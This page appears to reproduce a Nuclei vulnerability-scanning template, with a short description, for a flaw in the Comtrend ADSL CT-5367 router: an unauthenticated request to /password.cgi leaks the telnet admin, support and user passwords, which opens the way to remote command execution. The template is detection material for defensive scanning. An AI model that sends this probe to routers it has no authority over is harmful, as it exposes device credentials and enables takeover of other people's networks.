comtrend-password-exposure: Comtrend ADSL - Remote Code Execution

2025-08-01 Comtrend ADSL PoC Public

Description

Comtrend ADSL CT-5367 C01_R12 router is susceptible to remote code execution. A remote user can execute arbitrary commands via the telnet interface, The password for this interface is leaked to unauthenticated users via the password.cgi endpoint.

PoC

id: comtrend-password-exposure

info:
  name: Comtrend ADSL - Remote Code Execution
  author: geeknik
  severity: high
  description: Comtrend ADSL CT-5367 C01_R12 router is susceptible to remote code execution. A remote user can execute arbitrary commands via the telnet interface, The password for this interface is leaked to unauthenticated users via the password.cgi endpoint.
  reference:
    - https://www.exploit-db.com/exploits/16275
  metadata:
    max-request: 1
  tags: router,exposure,iot,rce,edb,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/password.cgi"

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        words:
          - "pwdAdmin ="
          - "pwdSupport ="
          - "pwdUser ="
        condition: and
# digest: 4a0a00473045022100d866c445c22b896f1bdec4e36ec8d087b0834bc1bbb9fd8efc85d32e3081ac220220009ba56bab9df228a8220a026cfde4f4ee58680b2164c7224b93778b2950e0b4:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/vulnerabilities/other/comtrend-password-exposure.yaml

References

Related Vulnerabilities